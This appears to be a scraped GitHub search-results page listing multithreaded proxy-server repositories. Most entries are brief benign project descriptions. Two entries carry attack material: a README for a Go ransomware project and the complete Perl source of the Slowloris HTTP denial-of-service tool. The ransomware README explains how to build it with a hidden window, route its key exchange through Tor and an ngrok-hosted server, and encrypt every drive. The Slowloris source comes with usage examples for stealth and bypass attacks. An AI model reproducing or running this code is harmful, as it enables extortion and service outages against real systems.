Found 453 repositories(showing 30)
danielshaving
redis-cpp17 is a cross platfrom compatible redis protocol with multithreaded c++17 client,server,proxy
Lovepreet-Singh-LPSK
No description available
abhir98
Project Summary This project was developed for the Computer Security course at my academic degree. Basically, it will encrypt your files in background using AES-256-CTR, a strong encryption algorithm, using RSA-4096 to secure the exchange with the server, optionally using the Tor SOCKS5 Proxy. The base functionality is what you see in the famous ransomware Cryptolocker. The project is composed by three parts, the server, the malware and the unlocker. The server store the victim's identification key along with the encryption key used by the malware. The malware encrypt with a RSA-4096 (RSA-OAEP-4096 + SHA256) public key any payload before send then to the server. This approach with the optional Tor Proxy and a .onion domain allow you to hide almost completely your server. Features Run in Background (or not) Encrypt files using AES-256-CTR(Counter Mode) with random IV for each file. Multithreaded. RSA-4096 to secure the client/server communication. Includes an Unlocker. Optional TOR Proxy support. Use an AES CTR Cypher with stream encryption to avoid load an entire file into memory. Walk all drives by default. Docker image for compilation. Building the binaries DON'T RUN ransomware.exe IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT! I'm not resposible if you acidentally encrypt all of your disks! First of all download the project outside your $GOPATH: git clone github.com/mauri870/ransomware cd ransomware If you have Docker skip to the next section. You need Go at least 1.11.2 with the $GOPATH/bin in your $PATH and $GOROOT pointing to your Go installation folder. For me: export GOPATH=~/gopath export PATH=$PATH:$GOPATH/bin export GOROOT=/usr/local/go Build the project require a lot of steps, like the RSA key generation, build three binaries, embed manifest files, so, let's leave make do your job: make deps make You can build the server for windows with make -e GOOS=windows. Docker ./build-docker.sh make Config Parameters You can change some of the configs during compilation. Instead of run only make, you can use the following variables: HIDDEN='-H windowsgui' # optional. If present the malware will run in background USE_TOR=true # optional. If present the malware will download the Tor proxy and use it to contact the server SERVER_HOST=mydomain.com # the domain used to connect to your server. localhost, 0.0.0.0, 127.0.0.1 works too if you run the server on the same machine as the malware SERVER_PORT=8080 # the server port, if using a domain you can set this to 80 GOOS=linux # the target os to compile the server. Eg: darwin, linux, windows Example: make -e USE_TOR=true SERVER_HOST=mydomain.com SERVER_PORT=80 GOOS=darwin The SERVER_ variables above only apply to the malware. The server has a flag --port that you can use to change the port that it will listen on. DON'T RUN ransomware.exe IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT! I'm not resposible if you acidentally encrypt all of your disks! Step by Step Demo and How it Works For this demo I'll use two machines, my personal linux machine and a windows 10 VM. For the sake of simplicity, I have a folder mapped to the VM, so I can compile from my linux and copy to the vm. In this demo we will use the Ngrok tool, this will allow us to expose our server using a domain, but you can use your own domain or ip address if you want. We are also going to enable the Tor transport, so .onion domains will work without problems. First of all lets start our external domain: ngrok http 8080 This command will give us a url like http://2af7161c.ngrok.io. Keep this command running otherwise the malware won't reach our server. Let's compile the binaries (remember to replace the domain): make -e SERVER_HOST=2af7161c.ngrok.io SERVER_PORT=80 USE_TOR=true The SERVER_PORT needs to be 80 in this case, since ngrok redirects 2af7161c.ngrok.io:80 to your local server port 8080. After build, a binary called ransomware.exe, and unlocker.exe along with a folder called server will be generated in the bin folder. The execution of ransomware.exe and unlocker.exe (even if you use a diferent GOOS variable during compilation) is locked to windows machines only. Enter the server directory from another terminal and start it: cd bin/server && ./server --port 8080 To make sure that all is working correctly, make a http request to http://2af7161c.ngrok.io: curl http://2af7161c.ngrok.io If you see a OK and some logs in the server output you are ready to go. Now move the ransomware.exe and unlocker.exe to the VM along with some dummy files to test the malware. You can take a look at cmd/common.go to see some configuration options like file extensions to match, directories to scan, skipped folders, max size to match a file among others. Then simply run the ransomware.exe and see the magic happens 😄. The window that you see can be hidden using the HIDDEN option described in the compilation section. After download, extract and start the Tor proxy, the malware waits until the tor bootstrapping is done and then proceed with the key exchange with the server. The client/server handshake takes place and the client payload, encrypted with an RSA-4096 public key must be correctly decrypted on the server. The victim identification and encryption keys are stored in a Golang embedded database called BoltDB (it also persists on disk). When completed we get into the find, match and encrypt phase, up to N-cores workers start to encrypt files matched by the patterns defined. This proccess is really quick and in seconds all of your files will be gone. The encryption key exchanged with the server was used to encrypt all of your files. Each file has a random primitive called IV, generated individually and saved as the first 16 bytes of the encrypted content. The algorithm used is AES-256-CTR, a good AES cypher with streaming mode of operation such that the file size is left intact. The only two sources of information available about what just happen are the READ_TO_DECRYPT.html and FILES_ENCRYPTED.html in the Desktop. In theory, to decrypt your files you need to send an amount of BTC to the attacker's wallet, followed by a contact sending your ID(located on the file created on desktop). If the attacker can confirm your payment it will possibly(or maybe not) return your encryption key and the unlocker.exe and you can use then to recover your files. This exchange can be accomplished in several ways and WILL NOT be implemented in this project for obvious reasons. Let's suppose you get your encryption key back. To recover the correct key point to the following url: curl -k http://2af7161c.ngrok.io/api/keys/:id Where :id is your identification stored in the file on desktop. After, run the unlocker.exe by double click and follow the instructions. That's it, got your files back 😄 The server has only two endpoints: POST api/keys/add - Used by the malware to persist new keys. Some verifications are made, like the verification of the RSA autenticity. Returns 204 (empty content) in case of success or a json error. GET api/keys/:id - Id is a 32 characters parameter, representing an Id already persisted. Returns a json containing the encryption key or a json error The end As you can see, building a functional ransomware, with some of the best existing algorithms is not difficult, anyone with some programming skills can build that in any programming language.
A unique, multithreaded Slow DoS exploit against web servers that use vulnerable versions of thread-based web server software (Apache 1.x, Apache 2.x, httpd, etc.); and is effective against even some mitigation mechanisms such as poorly implemented reverse proxy servers.
AlphaDecodeX
No description available
Abhisheklearn12
Multithreaded Reverse Proxy Server In C
PocketMine
A multithreaded frontend proxy with multiple servers, lobbies and load balancing. For PocketMine-MP
Mustafa-Hassan2001
No description available
Brajesh31
No description available
siddharthjadhav7
A Java based application that creates a multi-threaded web proxy server that is capable of processing multiple simultaneous service requests in parallel. It enables caching and supports only GET method and handles errors whenever a client requests an object that is not available.
Multithreading web scraping with real-time-changing proxy-servers
DarkNinja15
Welcome to the Multi-Threaded Proxy Server project! This Java-based application is designed to act as an intermediary between clients and servers, handling multiple client requests concurrently to ensure high performance and reliability.
LRAQI70
#!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc:::: CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc::: CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc:: CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc:::: CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc: ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } use Data::Dumper; warn Dumper \$host; unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris =head1 VERSION Version 0.7 Beta =head1 DATE 06/17/2009 =head1 AUTHOR RSnake <h@ckers.org> with threading from John Kinsella =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...? =head1 DESCRIPTION Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood. =head2 Testing If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing: =head3 Testing Example: ./slowloris.pl -dns www.example.com -port 80 -test This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing). =head2 HTTP DoS Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though. =head3 HTTP DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 =head2 HTTPReady Bypass HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. =head3 HTTPReady Bypass Example ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready =head2 Stealth Host DoS If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately. =head3 Stealth Host DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com =head2 HTTPS DoS Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary. =head3 HTTPS DoS Example: ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https =head2 HTTP Cache Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary. =head3 HTTP Cache Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache =head1 Issues Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture. For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too. =head1 What is a slow loris? What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:
Ervishalpathak7
A high-performance, multithreaded proxy server that optimizes network traffic and enhances backend scalability. It balances client requests across multiple backend servers while caching frequently requested responses using LRU caching.
ragulnathMB
A multithreaded proxy web server built from scratch in C++, designed using system design principles and best practices. It features efficient caching, IP/domain blacklisting, modular, and extensible architecture
bbright024
A multithreaded, IO multiplexing proxy web server that caches objects using LRU replacement
Lnd-stoL
A simple and tiny (hundred of lines) HTTP proxy server in Python3. Written using sockets and multithreading. HTTPS is supported via transparent tunnel.
canberkdurmus
Multithreaded HTTP Server & Proxy Server with Python3
pswitchy
No description available
shsooratgar
"Computer Networks" University Course Project
No description available
samOhawk1
a proxy server capable of serving multiple requests using semaphores threads and locks.
nishayo
a multithreaded client side explicit proxy server for http v1 protocol
HananelSabag
A simple HTTP proxy server with multithreading and filtering capabilities.
ahmeducf
Multithreading HTTP proxy server based on prethreading and a producer-consumer model, with caching functionality.
nazibul7
🧱 TurboProxy – A modular HTTP proxy server in C. Currently single-threaded (v1), evolving toward a multithreaded, epoll-driven architecture with LRU caching and thread pool.
jigarbhoye04
This is a multithreaded HTTP proxy server written in C that implements an LRU (Least Recently Used) cache to improve performance by storing frequently requested web content locally.
YashvirGaming
PHANTOMTLS is a high-performance local TLS testing and request forwarding CLI framework built in Go. Supports proxy rotation, TLS fingerprint rotation, and multithreaded traffic simulation for controlled server testing.
prash628
CMU 15513 Project: Multithreaded Web Proxy Server
intakhab1
No description available